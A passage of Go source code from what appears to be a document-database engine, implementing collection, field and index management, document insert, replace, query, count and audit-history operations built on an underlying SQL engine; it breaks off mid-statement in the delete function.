sql.DefaultTxOptions().\n\t\tWithUnsafeMVCC(true).\n\t\tWithExtra([]byte(username)).\n\t\tWithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }).\n\t\tWithSnapshotRenewalPeriod(0).\n\t\tWithExplicitClose(true)\n\n\tsqlTx, err := e.sqlEngine.NewTx(ctx, opts)\n\tif err != nil {\n\t\treturn mayTranslateError(err)\n\t}\n\tdefer sqlTx.Cancel()\n\n\t_, _, err = e.sqlEngine.ExecPreparedStmts(\n\t\tctx,\n\t\tsqlTx,\n\t\t[]sql.SQLStmt{\n\t\t\tsql.NewDropTableStmt(collectionName), // delete collection from catalog\n\t\t},\n\t\tnil,\n\t)\n\tif err != nil {\n\t\treturn mayTranslateError(err)\n\t}\n\n\terr = sqlTx.Commit(ctx)\n\treturn mayTranslateError(err)\n}\n\nfunc (e *Engine) AddField(ctx context.Context, username, collectionName string, field *protomodel.Field) error {\n\terr := validateCollectionName(collectionName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif field == nil {\n\t\treturn fmt.Errorf(\"%w: no field specified\", ErrIllegalArguments)\n\t}\n\n\terr = validateFieldName(field.Name)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsqlType, err := protomodelValueTypeToSQLValueType(field.Type)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcolLen, err := sqlValueTypeDefaultLength(sqlType)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\topts := sql.DefaultTxOptions().\n\t\tWithUnsafeMVCC(true).\n\t\tWithExtra([]byte(username)).\n\t\tWithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }).\n\t\tWithSnapshotRenewalPeriod(0).\n\t\tWithExplicitClose(true)\n\n\tsqlTx, err := e.sqlEngine.NewTx(ctx, opts)\n\tif err != nil {\n\t\treturn mayTranslateError(err)\n\t}\n\tdefer sqlTx.Cancel()\n\n\tcolSpec := sql.NewColSpec(field.Name, sqlType, colLen, false, false)\n\n\taddColumnStmt := sql.NewAddColumnStmt(collectionName, colSpec)\n\n\t_, _, err = e.sqlEngine.ExecPreparedStmts(\n\t\tctx,\n\t\tsqlTx,\n\t\t[]sql.SQLStmt{addColumnStmt},\n\t\tnil,\n\t)\n\tif err != nil {\n\t\treturn mayTranslateError(err)\n\t}\n\n\terr = sqlTx.Commit(ctx)\n\treturn mayTranslateError(err)\n}\n\nfunc (e *Engine) RemoveField(ctx context.Context, username, collectionName string, fieldName string) error {\n\terr := validateCollectionName(collectionName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = validateFieldName(fieldName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\topts := sql.DefaultTxOptions().\n\t\tWithUnsafeMVCC(true).\n\t\tWithExtra([]byte(username)).\n\t\tWithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }).\n\t\tWithSnapshotRenewalPeriod(0).\n\t\tWithExplicitClose(true)\n\n\tsqlTx, err := e.sqlEngine.NewTx(ctx, opts)\n\tif err != nil {\n\t\treturn mayTranslateError(err)\n\t}\n\tdefer sqlTx.Cancel()\n\n\tdropColumnStmt := sql.NewDropColumnStmt(collectionName, fieldName)\n\n\t_, _, err = e.sqlEngine.ExecPreparedStmts(\n\t\tctx,\n\t\tsqlTx,\n\t\t[]sql.SQLStmt{dropColumnStmt},\n\t\tnil,\n\t)\n\tif err != nil {\n\t\treturn mayTranslateError(err)\n\t}\n\n\terr = sqlTx.Commit(ctx)\n\treturn mayTranslateError(err)\n}\n\nfunc (e *Engine) CreateIndex(ctx context.Context, username, collectionName string, fields []string, isUnique bool) error {\n\terr := validateCollectionName(collectionName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(fields) == 0 {\n\t\treturn fmt.Errorf(\"%w: no fields specified\", ErrIllegalArguments)\n\t}\n\n\topts := sql.DefaultTxOptions().\n\t\tWithUnsafeMVCC(true).\n\t\tWithExtra([]byte(username)).\n\t\tWithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }).\n\t\tWithSnapshotRenewalPeriod(0).\n\t\tWithExplicitClose(true)\n\n\tsqlTx, err := e.sqlEngine.NewTx(ctx, opts)\n\tif err != nil {\n\t\treturn mayTranslateError(err)\n\t}\n\tdefer sqlTx.Cancel()\n\n\tfor _, field := range fields {\n\t\terr := validateFieldName(field)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tcreateIndexStmt := sql.NewCreateIndexStmt(collectionName, fields, isUnique)\n\n\t_, _, err = e.sqlEngine.ExecPreparedStmts(\n\t\tctx,\n\t\tsqlTx,\n\t\t[]sql.SQLStmt{createIndexStmt},\n\t\tnil,\n\t)\n\tif err != nil {\n\t\treturn mayTranslateError(err)\n\t}\n\n\terr = sqlTx.Commit(ctx)\n\treturn mayTranslateError(err)\n}\n\nfunc (e *Engine) DeleteIndex(ctx context.Context, username, collectionName string, fields []string) error {\n\terr := validateCollectionName(collectionName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(fields) == 0 {\n\t\treturn fmt.Errorf(\"%w: no fields specified\", ErrIllegalArguments)\n\t}\n\n\topts := sql.DefaultTxOptions().\n\t\tWithUnsafeMVCC(true).\n\t\tWithExtra([]byte(username)).\n\t\tWithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }).\n\t\tWithSnapshotRenewalPeriod(0).\n\t\tWithExplicitClose(true)\n\n\tsqlTx, err := e.sqlEngine.NewTx(ctx, opts)\n\tif err != nil {\n\t\treturn mayTranslateError(err)\n\t}\n\tdefer sqlTx.Cancel()\n\n\tfor _, field := range fields {\n\t\terr := validateFieldName(field)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tdropIndexStmt := sql.NewDropIndexStmt(collectionName, fields)\n\n\t_, _, err = e.sqlEngine.ExecPreparedStmts(\n\t\tctx,\n\t\tsqlTx,\n\t\t[]sql.SQLStmt{dropIndexStmt},\n\t\tnil,\n\t)\n\tif err != nil {\n\t\treturn mayTranslateError(err)\n\t}\n\n\terr = sqlTx.Commit(ctx)\n\treturn mayTranslateError(err)\n}\n\nfunc (e *Engine) InsertDocument(ctx context.Context, username, collectionName string, doc *structpb.Struct) (txID uint64, docID DocumentID, err error) {\n\ttxID, docIDs, err := e.InsertDocuments(ctx, username, collectionName, []*structpb.Struct{doc})\n\tif err != nil {\n\t\treturn 0, nil, err\n\t}\n\n\treturn txID, docIDs[0], nil\n}\n\nfunc (e *Engine) InsertDocuments(ctx context.Context, username, collectionName string, docs []*structpb.Struct) (txID uint64, docIDs []DocumentID, err error) {\n\topts := sql.DefaultTxOptions().\n\t\tWithUnsafeMVCC(true).\n\t\tWithExtra([]byte(username)).\n\t\tWithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }).\n\t\tWithSnapshotRenewalPeriod(0)\n\n\tsqlTx, err := e.sqlEngine.NewTx(ctx, opts)\n\tif err != nil {\n\t\treturn 0, nil, mayTranslateError(err)\n\t}\n\tdefer sqlTx.Cancel()\n\n\treturn e.upsertDocuments(ctx, sqlTx, collectionName, docs, true)\n}\n\nfunc (e *Engine) upsertDocuments(ctx context.Context, sqlTx *sql.SQLTx, collectionName string, docs []*structpb.Struct, isInsert bool) (txID uint64, docIDs []DocumentID, err error) {\n\tif len(docs) == 0 {\n\t\treturn 0, nil, fmt.Errorf(\"%w: no document specified\", ErrIllegalArguments)\n\t}\n\n\ttable, err := getTableForCollection(sqlTx, collectionName)\n\tif err != nil {\n\t\treturn 0, nil, err\n\t}\n\n\tdocIDFieldName := docIDFieldName(table)\n\n\tcolNames := make([]string, len(table.Cols()))\n\n\tfor i, col := range table.Cols() {\n\t\tcolNames[i] = col.Name()\n\t}\n\n\tdocIDs = make([]DocumentID, len(docs))\n\n\trows := make([]*sql.RowSpec, len(docs))\n\n\tfor i, doc := range docs {\n\t\tif doc == nil || len(doc.Fields) == 0 {\n\t\t\tdoc = &structpb.Struct{Fields: make(map[string]*structpb.Value)}\n\t\t}\n\n\t\t_, blobFieldProvisioned := doc.Fields[DocumentBLOBField]\n\t\tif blobFieldProvisioned {\n\t\t\treturn 0, nil, fmt.Errorf(\"%w(%s)\", ErrReservedName, DocumentBLOBField)\n\t\t}\n\n\t\tvar docID DocumentID\n\n\t\tprovisionedDocID, docIDProvisioned := doc.Fields[docIDFieldName]\n\t\tif docIDProvisioned {\n\t\t\tif isInsert {\n\t\t\t\treturn 0, nil, fmt.Errorf(\"%w: field (%s) should NOT be specified when inserting a document\", ErrIllegalArguments, docIDFieldName)\n\t\t\t}\n\n\t\t\tdocID, err = NewDocumentIDFromHexEncodedString(provisionedDocID.GetStringValue())\n\t\t\tif err != nil {\n\t\t\t\treturn 0, nil, err\n\t\t\t}\n\t\t} else {\n\t\t\tif !isInsert {\n\t\t\t\treturn 0, nil, fmt.Errorf(\"%w: field (%s) should be specified when updating a document\", ErrIllegalArguments, docIDFieldName)\n\t\t\t}\n\n\t\t\t// generate document id\n\t\t\tdocID = NewDocumentIDFromTx(e.sqlEngine.GetStore().LastPrecommittedTxID())\n\t\t\tdoc.Fields[docIDFieldName] = structpb.NewStringValue(docID.EncodeToHexString())\n\t\t}\n\n\t\trowSpec, err := e.generateRowSpecForDocument(table, doc)\n\t\tif err != nil {\n\t\t\treturn 0, nil, err\n\t\t}\n\n\t\tdocIDs[i] = docID\n\t\trows[i] = rowSpec\n\t}\n\n\t// add documents to collection\n\t_, ctxs, err := e.sqlEngine.ExecPreparedStmts(\n\t\tctx,\n\t\tsqlTx,\n\t\t[]sql.SQLStmt{\n\t\t\tsql.NewUpsertIntoStmt(\n\t\t\t\tcollectionName,\n\t\t\t\tcolNames,\n\t\t\t\tsql.NewValuesDataSource(rows),\n\t\t\t\tisInsert,\n\t\t\t\tnil,\n\t\t\t),\n\t\t},\n\t\tnil,\n\t)\n\tif err != nil {\n\t\treturn 0, nil, mayTranslateError(err)\n\t}\n\n\ttxID = ctxs[0].TxHeader().ID\n\n\treturn txID, docIDs, nil\n}\n\nfunc (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Struct) (*sql.RowSpec, error) {\n\tvalues := make([]sql.ValueExp, len(table.Cols()))\n\n\tfor i, col := range table.Cols() {\n\t\tif col.Name() == DocumentBLOBField {\n\t\t\tbs, err := proto.Marshal(doc)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tvalues[i] = sql.NewBlob(bs)\n\t\t\tcontinue\n\t\t}\n\n\t\trval, err := e.structValueFromFieldPath(doc, col.Name())\n\t\tif err != nil && !errors.Is(err, ErrFieldDoesNotExist) {\n\t\t\treturn nil, fmt.Errorf(\"%w: field: %s\", err, col.Name())\n\t\t}\n\n\t\tif rval == nil {\n\t\t\tvalues[i] = &sql.NullValue{}\n\t\t} else {\n\t\t\tval, err := structValueToSqlValue(rval, col.Type())\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"%w: field: %s\", err, col.Name())\n\t\t\t}\n\t\t\tvalues[i] = val\n\t\t}\n\t}\n\n\treturn sql.NewRowSpec(values), nil\n}\n\nfunc (e *Engine) structValueFromFieldPath(doc *structpb.Struct, fieldPath string) (*structpb.Value, error) {\n\tnestedStruct := doc\n\tnestedFields := strings.SplitN(fieldPath, documentFieldPathSeparator, e.maxNestedFields)\n\n\tfor i, field := range nestedFields {\n\t\trval, ok := nestedStruct.Fields[field]\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"%w('%s'): while reading nested field '%s'\", ErrFieldDoesNotExist, fieldPath, field)\n\t\t}\n\n\t\tif i == len(nestedFields)-1 {\n\t\t\treturn rval, nil\n\t\t}\n\n\t\tnestedStruct = rval.GetStructValue()\n\t\tif nestedStruct == nil {\n\t\t\treturn nil, fmt.Errorf(\"%w('%s'): while reading nested field '%s'\", ErrFieldDoesNotExist, fieldPath, field)\n\t\t}\n\t}\n\n\treturn nil, fmt.Errorf(\"%w('%s')\", ErrFieldDoesNotExist, fieldPath)\n}\n\nfunc (e *Engine) ReplaceDocuments(ctx context.Context, username string, query *protomodel.Query, doc *structpb.Struct) (revisions []*protomodel.DocumentAtRevision, err error) {\n\tif query == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif doc == nil || len(doc.Fields) == 0 {\n\t\tdoc = &structpb.Struct{\n\t\t\tFields: make(map[string]*structpb.Value),\n\t\t}\n\t}\n\n\tsqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithExtra([]byte(username)))\n\tif err != nil {\n\t\treturn nil, mayTranslateError(err)\n\t}\n\tdefer sqlTx.Cancel()\n\n\ttable, err := getTableForCollection(sqlTx, query.CollectionName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdocumentIdFieldName := docIDFieldName(table)\n\n\tprovisionedDocID, docIDProvisioned := doc.Fields[documentIdFieldName]\n\tif docIDProvisioned {\n\t\t// inject id comparisson into query\n\t\tidFieldComparisson := &protomodel.FieldComparison{\n\t\t\tField:    documentIdFieldName,\n\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\tValue:    provisionedDocID,\n\t\t}\n\n\t\tif len(query.Expressions) == 0 {\n\t\t\tquery.Expressions = []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\tidFieldComparisson,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t} else {\n\t\t\t// id comparisson as a first comparisson might result in faster evaluation\n\t\t\t// note it mas be added into every expression\n\t\t\tfor _, exp := range query.Expressions {\n\t\t\t\texp.FieldComparisons = append([]*protomodel.FieldComparison{idFieldComparisson}, exp.FieldComparisons...)\n\t\t\t}\n\t\t}\n\t}\n\n\tqueryCondition, err := generateSQLFilteringExpression(query.Expressions, table)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tqueryStmt := sql.NewSelectStmt(\n\t\t[]sql.TargetEntry{{Exp: sql.NewColSelector(query.CollectionName, documentIdFieldName)}},\n\t\tsql.NewTableRef(query.CollectionName, \"\"),\n\t\tqueryCondition,\n\t\tgenerateSQLOrderByClauses(table, query.OrderBy),\n\t\tsql.NewInteger(int64(query.Limit)),\n\t\tnil,\n\t)\n\n\tr, err := e.sqlEngine.QueryPreparedStmt(ctx, sqlTx, queryStmt, nil)\n\tif err != nil {\n\t\treturn nil, mayTranslateError(err)\n\t}\n\n\tvar docs []*structpb.Struct\n\n\tfor {\n\t\trow, err := r.Read(ctx)\n\t\tif err != nil {\n\t\t\tr.Close()\n\n\t\t\tif errors.Is(err, sql.ErrNoMoreRows) {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\treturn nil, mayTranslateError(err)\n\t\t}\n\n\t\tval := row.ValuesByPosition[0].RawValue().([]byte)\n\t\tdocID, err := NewDocumentIDFromRawBytes(val)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tnewDoc, err := structpb.NewStruct(doc.AsMap())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif !docIDProvisioned {\n\t\t\t// add id field to updated document\n\t\t\tnewDoc.Fields[documentIdFieldName] = structpb.NewStringValue(docID.EncodeToHexString())\n\t\t}\n\n\t\tdocs = append(docs, newDoc)\n\t}\n\n\tr.Close()\n\n\tif len(docs) == 0 {\n\t\treturn nil, nil\n\t}\n\n\ttxID, docIDs, err := e.upsertDocuments(ctx, sqlTx, query.CollectionName, docs, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, docID := range docIDs {\n\t\t// fetch revision\n\t\tsearchKey, err := e.getKeyForDocument(ctx, sqlTx, query.CollectionName, docID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tencDoc, err := e.getEncodedDocument(ctx, searchKey, txID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\trevisions = append(revisions, &protomodel.DocumentAtRevision{\n\t\t\tTransactionId: txID,\n\t\t\tDocumentId:    docID.EncodeToHexString(),\n\t\t\tRevision:      encDoc.Revision,\n\t\t\tMetadata:      kvMetadataToProto(encDoc.KVMetadata),\n\t\t})\n\t}\n\n\treturn revisions, nil\n}\n\nfunc (e *Engine) GetDocuments(ctx context.Context, query *protomodel.Query, offset int64) (DocumentReader, error) {\n\tif query == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tsqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true))\n\tif err != nil {\n\t\treturn nil, mayTranslateError(err)\n\t}\n\n\ttable, err := getTableForCollection(sqlTx, query.CollectionName)\n\tif err != nil {\n\t\tdefer sqlTx.Cancel()\n\t\treturn nil, err\n\t}\n\n\tqueryCondition, err := generateSQLFilteringExpression(query.Expressions, table)\n\tif err != nil {\n\t\tdefer sqlTx.Cancel()\n\t\treturn nil, err\n\t}\n\n\top := sql.NewSelectStmt(\n\t\t[]sql.TargetEntry{{Exp: sql.NewColSelector(query.CollectionName, DocumentBLOBField)}},\n\t\tsql.NewTableRef(query.CollectionName, \"\"),\n\t\tqueryCondition,\n\t\tgenerateSQLOrderByClauses(table, query.OrderBy),\n\t\tsql.NewInteger(int64(query.Limit)),\n\t\tsql.NewInteger(offset),\n\t)\n\n\t// returning an open reader here, so the caller HAS to close it\n\tr, err := e.sqlEngine.QueryPreparedStmt(ctx, sqlTx, op, nil)\n\tif err != nil {\n\t\tdefer sqlTx.Cancel()\n\t\treturn nil, err\n\t}\n\n\treturn newDocumentReader(r, func(_ DocumentReader) { sqlTx.Cancel() }), nil\n}\n\nfunc (e *Engine) CountDocuments(ctx context.Context, query *protomodel.Query, offset int64) (int64, error) {\n\tif query == nil {\n\t\treturn 0, ErrIllegalArguments\n\t}\n\n\tsqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true))\n\tif err != nil {\n\t\treturn 0, mayTranslateError(err)\n\t}\n\n\tdefer sqlTx.Cancel()\n\n\ttable, err := getTableForCollection(sqlTx, query.CollectionName)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tqueryCondition, err := generateSQLFilteringExpression(query.Expressions, table)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tds := sql.NewSelectStmt(\n\t\t[]sql.TargetEntry{{Exp: sql.NewColSelector(query.CollectionName, table.Cols()[0].Name())}},\n\t\tsql.NewTableRef(query.CollectionName, \"\"),\n\t\tqueryCondition,\n\t\tgenerateSQLOrderByClauses(table, query.OrderBy),\n\t\tsql.NewInteger(int64(query.Limit)),\n\t\tsql.NewInteger(offset),\n\t)\n\n\top := sql.NewSelectStmt(\n\t\t[]sql.TargetEntry{{Exp: sql.NewAggColSelector(sql.COUNT, query.CollectionName, \"*\")}},\n\t\tds,\n\t\tnil,\n\t\tnil,\n\t\tnil,\n\t\tnil,\n\t)\n\n\tr, err := e.sqlEngine.QueryPreparedStmt(ctx, sqlTx, op, nil)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tdefer r.Close()\n\n\trow, err := r.Read(ctx)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn row.ValuesByPosition[0].RawValue().(int64), nil\n}\n\nfunc (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, documentIdFieldName string, encodedDoc *EncodedDocument, err error) {\n\tsqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true))\n\tif err != nil {\n\t\treturn 0, \"\", nil, mayTranslateError(err)\n\t}\n\tdefer sqlTx.Cancel()\n\n\ttable, err := getTableForCollection(sqlTx, collectionName)\n\tif err != nil {\n\t\treturn 0, \"\", nil, err\n\t}\n\n\tsearchKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, docID)\n\tif err != nil {\n\t\treturn 0, \"\", nil, err\n\t}\n\n\tencodedDoc, err = e.getEncodedDocument(ctx, searchKey, txID)\n\tif err != nil {\n\t\treturn 0, \"\", nil, err\n\t}\n\n\treturn table.ID(), docIDFieldName(table), encodedDoc, nil\n}\n\n// AuditDocument returns the audit history of a document.\nfunc (e *Engine) AuditDocument(ctx context.Context, collectionName string, docID DocumentID, desc bool, offset uint64, limit int, includePayload bool) ([]*protomodel.DocumentAtRevision, error) {\n\terr := validateCollectionName(collectionName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true))\n\tif err != nil {\n\t\treturn nil, mayTranslateError(err)\n\t}\n\tdefer sqlTx.Cancel()\n\n\tsearchKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, docID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvalRefs, _, err := e.sqlEngine.GetStore().History(searchKey, uint64(offset), desc, limit)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresults := make([]*protomodel.DocumentAtRevision, 0)\n\n\tfor _, valRef := range valRefs {\n\t\tdocAtRevision, err := e.getDocument(searchKey, valRef, includePayload)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\thdr, err := e.sqlEngine.GetStore().ReadTxHeader(valRef.Tx(), false, false)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tdocAtRevision.DocumentId = docID.EncodeToHexString()\n\t\tdocAtRevision.Ts = hdr.Ts\n\t\tdocAtRevision.Revision = valRef.HC()\n\n\t\tresults = append(results, docAtRevision)\n\t}\n\n\treturn results, nil\n}\n\n// generateSQLFilteringExpression generates a boolean expression in Disjunctive Normal Form from a list of expressions\nfunc generateSQLFilteringExpression(expressions []*protomodel.QueryExpression, table *sql.Table) (sql.ValueExp, error) {\n\tvar outerExp sql.ValueExp\n\n\tfor i, exp := range expressions {\n\t\tif len(exp.FieldComparisons) == 0 {\n\t\t\treturn nil, fmt.Errorf(\"%w: query expression without any field comparisson\", ErrIllegalArguments)\n\t\t}\n\n\t\tvar innerExp sql.ValueExp\n\n\t\tfor i, exp := range exp.FieldComparisons {\n\t\t\tcolumn, err := getColumnForField(table, exp.Field)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tvalue, err := structValueToSqlValue(exp.Value, column.Type())\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tcolSelector := sql.NewColSelector(table.Name(), exp.Field)\n\n\t\t\tvar fieldExp sql.ValueExp\n\n\t\t\tswitch exp.Operator {\n\t\t\tcase protomodel.ComparisonOperator_LIKE:\n\t\t\t\t{\n\t\t\t\t\tfieldExp = sql.NewLikeBoolExp(colSelector, false, value)\n\t\t\t\t}\n\t\t\tcase protomodel.ComparisonOperator_NOT_LIKE:\n\t\t\t\t{\n\t\t\t\t\tfieldExp = sql.NewLikeBoolExp(colSelector, true, value)\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\t{\n\t\t\t\t\tsqlCmpOp, err := sqlCmpOperatorFor(exp.Operator)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, err\n\t\t\t\t\t}\n\n\t\t\t\t\tfieldExp = sql.NewCmpBoolExp(sqlCmpOp, colSelector, value)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif i == 0 {\n\t\t\t\tinnerExp = fieldExp\n\t\t\t} else {\n\t\t\t\tinnerExp = sql.NewBinBoolExp(sql.And, innerExp, fieldExp)\n\t\t\t}\n\t\t}\n\n\t\tif i == 0 {\n\t\t\touterExp = innerExp\n\t\t} else {\n\t\t\touterExp = sql.NewBinBoolExp(sql.Or, outerExp, innerExp)\n\t\t}\n\t}\n\n\treturn outerExp, nil\n}\n\nfunc sqlCmpOperatorFor(op protomodel.ComparisonOperator) (sql.CmpOperator, error) {\n\tswitch op {\n\tcase protomodel.ComparisonOperator_EQ:\n\t\t{\n\t\t\treturn sql.EQ, nil\n\t\t}\n\tcase protomodel.ComparisonOperator_NE:\n\t\t{\n\t\t\treturn sql.NE, nil\n\t\t}\n\tcase protomodel.ComparisonOperator_LT:\n\t\t{\n\t\t\treturn sql.LT, nil\n\t\t}\n\tcase protomodel.ComparisonOperator_LE:\n\t\t{\n\t\t\treturn sql.LE, nil\n\t\t}\n\tcase protomodel.ComparisonOperator_GT:\n\t\t{\n\t\t\treturn sql.GT, nil\n\t\t}\n\tcase protomodel.ComparisonOperator_GE:\n\t\t{\n\t\t\treturn sql.GE, nil\n\t\t}\n\tdefault:\n\t\t{\n\t\t\treturn 0, fmt.Errorf(\"%w: unsupported operator ('%s')\", ErrIllegalArguments, op)\n\t\t}\n\t}\n}\n\nfunc (e *Engine) getKeyForDocument(ctx context.Context, sqlTx *sql.SQLTx, collectionName string, documentID DocumentID) ([]byte, error) {\n\ttable, err := getTableForCollection(sqlTx, collectionName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar searchKey []byte\n\n\tvalbuf := bytes.Buffer{}\n\n\trval := sql.NewBlob(documentID[:])\n\tencVal, _, err := sql.EncodeRawValueAsKey(rval.RawValue(), sql.BLOBType, MaxDocumentIDLength)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_, err = valbuf.Write(encVal)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tpkEncVals := valbuf.Bytes()\n\n\tsearchKey = sql.MapKey(\n\t\te.sqlEngine.GetPrefix(),\n\t\tsql.MappedPrefix,\n\t\tsql.EncodeID(table.ID()),\n\t\tsql.EncodeID(table.PrimaryIndex().ID()),\n\t\tpkEncVals,\n\t\tpkEncVals,\n\t)\n\n\treturn searchKey, nil\n}\n\nfunc (e *Engine) getDocument(key []byte, valRef store.ValueRef, includePayload bool) (docAtRevision *protomodel.DocumentAtRevision, err error) {\n\tvar encodedDocVal []byte\n\n\tif includePayload {\n\t\tencodedDocVal, err = valRef.Resolve()\n\t\tif err != nil {\n\t\t\treturn nil, mayTranslateError(err)\n\t\t}\n\t}\n\n\tencDoc := &EncodedDocument{\n\t\tTxID:            valRef.Tx(),\n\t\tRevision:        valRef.HC(),\n\t\tKVMetadata:      valRef.KVMetadata(),\n\t\tEncodedDocument: encodedDocVal,\n\t}\n\n\tvar username string\n\n\tif valRef.TxMetadata() != nil {\n\t\tusername = string(valRef.TxMetadata().Extra())\n\t}\n\n\tif encDoc.KVMetadata != nil && encDoc.KVMetadata.Deleted() {\n\t\treturn &protomodel.DocumentAtRevision{\n\t\t\tTransactionId: encDoc.TxID,\n\t\t\tUsername:      username,\n\t\t\tMetadata:      kvMetadataToProto(encDoc.KVMetadata),\n\t\t}, nil\n\t}\n\n\tvar doc *structpb.Struct\n\n\tif includePayload {\n\t\tvoff := sql.EncLenLen + sql.EncIDLen\n\n\t\t// DocumentIDField\n\t\t_, n, err := sql.DecodeValue(encDoc.EncodedDocument[voff:], sql.BLOBType)\n\t\tif err != nil {\n\t\t\treturn nil, mayTranslateError(err)\n\t\t}\n\n\t\tvoff += n + sql.EncIDLen\n\n\t\t// DocumentBLOBField\n\t\tencodedDoc, _, err := sql.DecodeValue(encDoc.EncodedDocument[voff:], sql.BLOBType)\n\t\tif err != nil {\n\t\t\treturn nil, mayTranslateError(err)\n\t\t}\n\n\t\tdocBytes := encodedDoc.RawValue().([]byte)\n\n\t\tdoc = &structpb.Struct{}\n\t\terr = proto.Unmarshal(docBytes, doc)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn &protomodel.DocumentAtRevision{\n\t\tTransactionId: encDoc.TxID,\n\t\tUsername:      username,\n\t\tMetadata:      kvMetadataToProto(encDoc.KVMetadata),\n\t\tDocument:      doc,\n\t}, err\n}\n\nfunc (e *Engine) getEncodedDocument(ctx context.Context, key []byte, atTx uint64) (encDoc *EncodedDocument, err error) {\n\tif atTx > e.sqlEngine.GetStore().LastPrecommittedTxID() {\n\t\treturn nil, store.ErrTxNotFound\n\t}\n\n\terr = e.sqlEngine.GetStore().WaitForIndexingUpto(ctx, atTx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar valRef store.ValueRef\n\n\tif atTx == 0 {\n\t\tvalRef, err = e.sqlEngine.GetStore().Get(ctx, key)\n\t} else {\n\t\tvalRef, err = e.sqlEngine.GetStore().GetBetween(ctx, key, atTx, atTx)\n\t}\n\tif errors.Is(err, store.ErrKeyNotFound) {\n\t\treturn nil, ErrDocumentNotFound\n\t}\n\tif err != nil {\n\t\treturn nil, mayTranslateError(err)\n\t}\n\n\tencodedDoc, err := valRef.Resolve()\n\tif err != nil {\n\t\treturn nil, mayTranslateError(err)\n\t}\n\n\treturn &EncodedDocument{\n\t\tTxID:            valRef.Tx(),\n\t\tRevision:        valRef.HC(),\n\t\tKVMetadata:      valRef.KVMetadata(),\n\t\tEncodedDocument: encodedDoc,\n\t}, err\n}\n\n// DeleteDocuments deletes documents matching the query\nfunc (e *Engine) DeleteDocuments(ctx context.Context, username string, query *protomodel.Query) error {\n\tif query == nil {\n\t\treturn ErrIllegalArguments\n\t}\n\n\tsqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithExtra([]byte(username)))\n\tif err != nil {\n\t\treturn mayTranslateError(err)\n\t}\n\tdefer sqlTx.Cancel()\n\n\ttable, err := getTableForCollection(sqlTx, query.CollectionName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tqueryCondition, err := generateSQLFilteringExpression(query.Expressions, table)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Delete a single document matching the query\n\tdeleteStmt := 